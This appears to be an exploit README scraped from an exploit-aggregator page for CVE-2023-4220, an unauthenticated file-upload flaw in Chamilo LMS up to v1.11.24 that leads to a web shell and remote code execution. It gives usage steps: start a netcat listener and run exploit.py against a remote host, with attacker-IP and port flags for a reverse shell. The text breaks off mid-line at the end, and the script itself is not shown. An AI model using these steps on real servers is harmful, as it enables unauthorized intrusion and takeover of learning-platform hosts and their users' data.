Share
## https://sploitus.com/exploit?id=7CB4546E-84D8-577F-B31B-BCCEF3101BC6
# CVE-2023-4220-RCE
## Summary
*[Starlabs advisory](https://starlabs.sg/advisories/23/23-4220/)*
- **Affected product:** Chamilo <= v1.11.24
- **Description:** Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
- **CVSS Score:** 8.1 (*High*)
## Usage
1. Set up a netcat listener (if you want a reverse shell)
```bash
sudo nc -lnvp 443
```
2. Run the exploit
```bash
python3 exploit.py -u --url <REMOTE HOST>, -p --port [REMOTE PORT] -c --comand <COMMAND>
```
- Flags for reverse shell
- **-lh/--localhost:** Attacker IP
- **-lp/--localtcat listener port